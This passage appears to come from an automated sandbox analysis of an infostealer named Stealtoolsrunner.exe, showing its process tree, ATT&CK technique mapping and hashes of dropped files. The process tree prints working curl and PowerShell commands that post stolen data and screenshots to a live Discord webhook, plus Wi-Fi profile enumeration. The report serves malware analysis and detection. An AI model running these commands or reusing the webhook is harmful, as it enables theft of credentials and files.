    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:4668
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\\ss.png" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:1084
- - C:\Windows\SYSTEM32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1056
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:3316
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:976
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:2968
- - C:\Windows\SYSTEM32\curl.exe
    curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
    3⤵
    PID:3452

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1076

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4136

C:\Users\Admin\Downloads\Stealtoolsrunner.exe
"C:\Users\Admin\Downloads\Stealtoolsrunner.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2264
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:5360
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c ver 2>nul
  2⤵
  PID:5384
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:4500
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\\ss.png" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:1084
- C:\Windows\SYSTEM32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5908
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:2256

C:\Users\Admin\Downloads\Stealtoolsrunner.exe
"C:\Users\Admin\Downloads\Stealtoolsrunner.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:2888
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c ver 2>nul
  2⤵
  PID:1972
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:4912
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\\ss.png" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:3812

C:\Users\Admin\Downloads\Stealtoolsrunner.exe
"C:\Users\Admin\Downloads\Stealtoolsrunner.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5092
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:3364
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c ver 2>nul
  2⤵
  PID:3272
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "try{$b=Get-Content 'C:\Users\Admin\AppData\Local\Temp\\wh.txt' -Raw;$r=Invoke-RestMethod -Uri 'https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4' -Method POST -Body $b -ContentType 'application/json' -TimeoutSec 10 -ErrorAction Stop;exit 0}catch{exit 1}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:1084
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\\ss.png" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:772
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:4996
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:4272
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -f -X POST -H "Content-Type: application/json" -d "@C:\Users\Admin\AppData\Local\Temp\\wh.txt" "https://ptb.discord.com/api/webhooks/1517084757937229906/7wWSpfZ7W3_J0yiO0d2iD7P0DRIuzlv5S5c8FsL7dUF_gBQDCPOmOvrreTk_tc9G9go4"
  2⤵
  PID:1056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 083d78ea5ea69126b24164f2e05fc467ce21fdcdf2ec67f8e94c4366a1284886
MD5 da79f81681859af2b76762aa37a5f73e
SHA1 53d69c959eb46848bc7ed7b5c480df864295389e
SHA512 f647681c342e36fa2f41fb9d54d089303f98b802703a42609226ef5755aafc91ef00af41a82f980c0f2819709322c59ef6cd1c18725ef5133691894902fc44c1
TLSH
T1FCD09B7077CDAC11D5450471D45547535D96CA4C24D7DB076011801D68557D9B35E067
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 965e5ede1dd95e7182bc6ed8b645e4796c53616af10fe7a02b411984e0f5fca1
MD5 252c38f22d645a5fc39fa9f1fdd92b34
SHA1 70c6079cc3ffdcb0efb6f56834b64311e1e951bc
SHA512 e23e1b164567d933593229d39744ddacb3330f715193f293c7aee9a5a95fc433809933ab830a7a1c5cdf37824965c32650c227083092c2a6488a2ab768744ad1
TLSH
T110D09B7077CDAC11D9450471D45547535D96CA4C24D7DB076011801D58567D9B35E067
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 f4e5ab573e5328d0071486d2f2d7998647e5617690febec64ccc2d248e00c79f
MD5 b6b8bc237d1e66d442d1f16ae965ddca
SHA1 d97ecbfce7daa8346e729976cb33795dcf50eabd
SHA512 18d5b63106d64bd8005d70a5315bc9d8cf87c166b7276673d3a84e07c6d6c34298c779283d88c820d1aa816ed49106a45826be4be92fb499818fc1c102b5d9a4
TLSH
T1DF613C1836CE007EE7538EB9E1EBD2013FF191B47A0B9E01E6C4F87DA926F354465804
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe593c44.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe593c44.TMP
Size 3KB
SHA256 cc9335dd63b27d5c68fe3ba796d0173728fd3790acf52426ed7758bfbd1cb916
MD5 c042d37fbc01583ec9c57e0129023a9d
SHA1 81789d1fec15b6a2c48d616789e08f8e4343a4cf
SHA512 bdda2fbb8e3c8e3555cb0ba9a4e74021dc44f881f98904f93b53267daa9ba4a0490bfe0a6ac16c54ae5f4c7e3ccbebbe1a1686491e641125db16edae7a4424fe
TLSH
T138613C1836CE007DEB538EB9E1EBC2013FF191B47A0B8E02E5C4F87D9925F354868804
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 331B
SHA256 53aa7c4ffcc997b3a06ac94a1b81339c62509afc07135623946a4e47c3964e30
MD5 0d39d914a40ec9a0538a44614e67b94a
SHA1 822fe7591d3b81db133c812b6d9688f26b7bdcc2
SHA512 d5be8c1328a6df19c1a6d1628c7b92dc5ba9377cf3f02a5a56c8d4fdbb9c4b982652ee5081acd5ddf4fd2284b2e7a35b2f6c99c3cd4e4c7857ddb7c662d8a5f7
TLSH
T145E0D8E485DEC219A545208F825C7B0CC3F0340ED7892A855B189848F401104E2AA5D1
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 f70ffec9dc8c45c7340203784bf55a00e8336ec3ca49449ab25c6d6527382782
MD5 f922f15fb467a6873e9e06a46841bdbc
SHA1 f1e7e3d76512d755bde31e0ad9925e269c5e6276
SHA512 9e2cfaa1047e5ef113633cbd74555f347fddd35dc6d44ad6e0da0214fdf6acb22f50e388128676f0d5d6e66f240861fa3d42742cf5e74f3f35b633de9737b5f9
SSDEEP 192:sxZ9RmyM/jK1Ml8M9H/f+sIpgIdpJHW6+WNGYw8RrAIgrJ:sxZ9Q1H/f+sIphJHbGb9
TLSH
T1B842E8126B34597BCCCBD209FA55BF53D6F94562A2940E44A9FCCA0C05E6EEC2217C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 a2fe86f4b06673966cabc4ff20df10266ffd8a3a5621cb0f17b68ab489b7f8d4
MD5 e51e922f67153390beac13e0c02b23d6
SHA1 8a698277eac23f113c650da69cfc591d6d6d26fa
SHA512 6a4164e5644aceec0da973177c0cc008c6482c7d08156d07890c74ed108b6b9e8d1be40db4669e9ff4e5d367ddc73935b8b531ff77613aef2a805df1b221e9a3
SSDEEP 768:7s4jeXmWvmKLE8F1+UoAYDCx9Tuqh0VfUC9xbog/OVhPLlrZ+dsroh0c6a0:7s4jeXmWvmKLEu1jacPLZQd3Fm
TLSH
T128D20A3B284CCB7E4F844E5CED26AE976ED801CB6A584D5047FA894C03C76EB512B49B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 60668b4472331b86115185b1df320a84b48691511e9aeb72cc9fab9b7f959511
MD5 f0a928b115bbb9f30ab872e4690872d5
SHA1 115242b0282a34c4a72ca47168598e4defe8d551
SHA512 8ebd844c43520abd59417462e6810be997f508d9d31bb71289d80937752833d88411636b9d55ff6df6a2bd923e47d9dad9cc2058806bdebef17a80ae18c81085
SSDEEP 192:EONq6hZ0QmiUyf36pc/+jVWjzor2tn5wOZLRU6:EONq6ou6pu+k82A2NU6
TLSH
T18402C93568786CB78EE2AE45F48727235FE5116BE9956B84DAE81F1D00C779C2307832
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 a874587c45aaa944522344e1af40f22056d24ed24ef2f53fd26e0acb56046f3d
MD5 d67892b025a4ab8d11b4965d46191c9a
SHA1 b1cf6ec206f8bd11eff72c0b7eb8018c937e049c
SHA512 c0026e08faed5fb5dfcbf309510652e13ca5f9796d5e0f0b01d66d5c4dd784a1914979e7e7a113adb10a1cf1119679f54a0f2aad0f4fd78a777b51c2b3aa1cb2
SSDEEP 192:YONq6hZhQmiUybN367c/+jVWjzor2t+XH+2l5cOqKqJb6U6:YONq6LQR67u+k82EXH+2A9hb6U6
TLSH
T1A412FB36646CAC678DD1A945F48732235EE55117EFC97F84E5EC1F1C00DEAAC230B822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 c3f420eb6a33aa78e1dbdd8f5d1f7c6ea4d46fcd5c01416eff97c1a93de648eb
MD5 0b86bed572f7666728423b67a7c28f47
SHA1 860dac9ec9117ff49c203c233cc1735b0dc102d6
SHA512 3c058d6d4e4ac25482f28e0879d10e46c39b5922931fedd4757fec805b4635b983fdfcc8bdf4c16f331c089a81f216e0551fadcded6f7c8b4aeddea7bb5edbaf
SSDEEP 384:QtNn/s3n9SVsNHlbjUFFFsX5f+k82EXH+2tFhb6ITGT0I3ix9F:Qj+9qCPXBIHlHhui+0LvF
TLSH
T1B8927D325938AC675DE2A585F00B22575EF44567AAC53F88E9EC6F0D00CE7BC230BE16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 b917374b60f6ef7da2b3da596ab3e57864f876c7987caaf765007ea986ada9a1
MD5 fdf927c329b871ff14486eb2a2fdf829
SHA1 392eb5186075fd78d1c18b8266f1c80bf3b5ec8b
SHA512 92145b7ed0c6e2c782108c1d5d547fcff103bf8668fbf87275c92e715554ceedcf282e52f93cfb00d27d8a0ecbf4e591a715e6131f3f17a93a6631694a029fcf
SSDEEP 384:3tNn/s3n9SCsNHBbjUFFFsX5f+k82EXH+2tFhb6ITGT0I3ix9F:3j+9VOPXBIHlHhui+0LvF
TLSH
T106927D325928AC675DE2A585F00B22175EF445A7AAC53F84D5EC6F0D00CE7AC230BE16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 c982f1d66de0fbf3db1751121eb4237201df348176041db0d5158f8ec166503c
MD5 dec3c77a425851778572da06539b5571
SHA1 728f22a270e04f59531456be0a46ce787b9b7ed9
SHA512 aae863254ea7f214ef4d7f9523b31b0dbcef052cd7f9f8ba700715ecf63d82d1a2d8bc2830ac48db9f3544b7de053f4525f2c3d5f7ac2ed47df136afb64cdce8
TLSH
T193410B5DA6E91108B3B37F5AABF7A56E48BEB9772E06C45E00110D4F4A22B40C871737
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0newh1ml.xxi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0newh1ml.xxi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ld.tmp

Path C:\Users\Admin\AppData\Local\Temp\ld.tmp
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ld.tmp

Path C:\Users\Admin\AppData\Local\Temp\ld.tmp
Size 56KB
SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
MD5 f92de240ae86100670164298edba43f2
SHA1 5d9ede7e7743e75344ee7f996456693f82896e5d
SHA512 2e6b9cbd04baf609d91a0583d742b19c5dc6dd7b334349fac1a71563c140075408fe881388e1fff72f5c1c0124d0603d54d35f5039c544ee9c1350b4e1684c21
SSDEEP 96:/kS/KLPeymOoizhGNOnfmG38tmvJHbn8MouB6w9fUPnP:B4oizhGNOnDV77Iw9fK
TLSH
T15E43651F1B682802C8698632BCB194F36F7CA13E8F639E922CB044359D75852B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ss.png

Path C:\Users\Admin\AppData\Local\Temp\ss.png
Size 53KB
SHA256 f76191a31e40b4b52da13e1a802f15cfefd2d5e7a2972e0ed9a366f933b530ca
MD5 5faff28b348fa5f8c45e5be8a99acaf1
SHA1 f74b5d7cdd6ca0490275cfcaaebcdb884e1d9e0c
SHA512 4396643b96d9908e6942791f5b027b5eb5acec9d67afa1141c4447b5c3f2518477d80c2b2fefe0270420a78067c6872454a305e5579b10572ac5dff0776a63b1
SSDEEP 768:QDBhTL81SP2X1FTBCtH57ZpAS8Cw9egI9VSdx3YURltrQuAcipjLRrqHLG68ujj:QP81SPI1FdCfr/MHwgHtr8tAHa6tj
TLSH
T12343AFDC29629C68D8AD03BE9DDF5EE133741F841992571117B8FB1CAFE23E148D209A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ss.png

Path C:\Users\Admin\AppData\Local\Temp\ss.png
Size 125KB
SHA256 76a2b879fac062cddcf872d442b0493fafeb3f6e53050112f5acfa7233e68a60
MD5 b31ee81a5300af3286b50131f2140ac4
SHA1 fb494955d5aebb2e8e4285a415ea4c71e9ff4ac5
SHA512 bfd599916b56de967816640380e6800217779d32862ec8aa59e806bc7ae4b267533bae69783a5604d56591ace2dcdae06179a31c41a799216be90d9b02bb121f
SSDEEP 1536:mPSjpZkDKG3tvbIYzZEQSoIcyB3GwjkiU5KUGv19tKSY6EMccJvfodB3OCCJgJn:vjfkDKGqCERkJ5ZG17XY67tfwB+s5
TLSH
T165C3F12413F3DE85FE0F46F08B9D069AF33709456A93A73B1276A83CC0218A5F5A57D6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 268B
SHA256 da1cc13158b76b4ebe08d9f5c10333975bceded5cb14320956f0d92d0f0d03f4
MD5 7879fb9ee6f5ec70a0e6ad44a44c63d9
SHA1 a4cc95a98cf2f337ddce758c9079ee098f4663e2
SHA512 b8ac896759f62516e24eb4433cc39f6e3af7a24c530ef72492d05dd00b2add892b31b0742656e2820de4901b53c429ff247697f1d3ec671e9c5c425641af71fd
TLSH
T1BDD05B7AC8E7C6C634B19531633EA36E1C64490B9C1CF305A560FE5C318846C6560447
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 545B
SHA256 896ca3af23b665de763e01b98d2bbf49b6e6767b33af4c45c04eafee2e509e52
MD5 5a714189742c4fae0d8c09ca879d2d31
SHA1 c534dc45542ea367ea5675f7303911229a27a73b
SHA512 8e69fe4875eb65ec87130fb27823add109bcf1fd276e47ccab77e8d88726c11470405fbae3339e8755bbf52893150cfada89ad3d7381bc919defa73e72065544
TLSH
T1FEF09676C8E7C6C731B59530633EE39E1CA4860F9C1CF306A421EA5C318C86C79A0907
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 1KB
SHA256 318a1a2db0884335b8d322e597b4a34a81383d4bd275c99ebafe3b41f6bb77a9
MD5 3032608506aa2557c1fd3d6cf81f6448
SHA1 1ad9a2dd98b7cbf3f9e9c98c379697aebff24b6d
SHA512 0621f578ae045f7eb660cc9642643873ee0a13235a400e285845fd4412d8019897d847ced2faf126eddb246c6e6ad28bed8df08cb46b82997f4730244b151686
TLSH
T1CE217B79CCAB96DD79B1C52422BEE7D88C68C417CC0CF3627526EA9C774840CB598B87
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 1KB
SHA256 df7b39f1aae6bf8121c62ceadc6b942d22ea5da76305de46dc5178e36c9b18e2
MD5 4933412598558a013aec0af9c06f2616
SHA1 f47d36ebb29fc7dd5a8c9db9db1dbd774408b55c
SHA512 447601f23983c5ab2059d96510a124755ecaf59e1a8261654cde4aa2ecc922ebb75f1094a7c7b989b13389f9bc2f959f0ab5cd5ac5180706b16e7fbe0a2d4fa7
TLSH
T1E4218E75C8A796DA79B1C52022BEE7D99C58C41BCC0CF3527425EA9C375840C7594B87
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 1KB
SHA256 0c8386e1e8196dc4a7422afa6dad462a5638cb748ca63236cd7f9d17cba9c3da
MD5 53ce1a7f99334ab5dce62a63961b584b
SHA1 fe12012050f978c5272a7bea5cbb09e2761176c9
SHA512 cf94a698e1f7dce1a6c32d9300d5d98303d61c98c8a788698913942ba257f8b7fbdaeae7816d122e37d011942aa7b81886364ed12510fe43ac78b32865bc3108
TLSH
T15931DD74C9EB95D93AB5C521227AE3ECDCA8C41ACC4CB7127516ED4C379840C76E4B87
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 1KB
SHA256 d2f79802900bcbac9b9752fecc2bff394ce94f0a7a4af8940229878463c6520a
MD5 58f442c1bbc91cd1c10e2fe825a93481
SHA1 cfedd28a2f1478551ef1f0ea3ddb0aec31eb3841
SHA512 8fe6ed513c52fc84de5aa14c7866f15d61ac5149daade9043307f2241745541ef88ea708cb7737ca7ca203d382c00cc294a0b04128f06b77e2fb2645bb0f36cf
TLSH
T10F31DB74C8EB96DA3AB5C520227AE3EC9CA8C01ACC4CB7127516ED5C379840C76E4B87
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 1KB
SHA256 82294a21ec63c34ed679d27e9b104c347de5ecfdb1d5289e499af2e9b85979ef
MD5 7d077bf8e84bf2eacfea7bfce57428df
SHA1 c2ea41c6b5301fc4104e1a7871e08a7c2b9a1602
SHA512 ac5e4f0a1e42a87328809d9e8e05ae1e3e73fa733bde2f87d6633b683988e8b44dd3d815e75d0c0413b7fc29ab99ba9f35f2368ab90f4c26160031343e738b37
TLSH
T19931DC74C8E796DA3AB5C520227AE3ECDCA8C01ACC4CB7127516ED5C379844C76E4B97
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

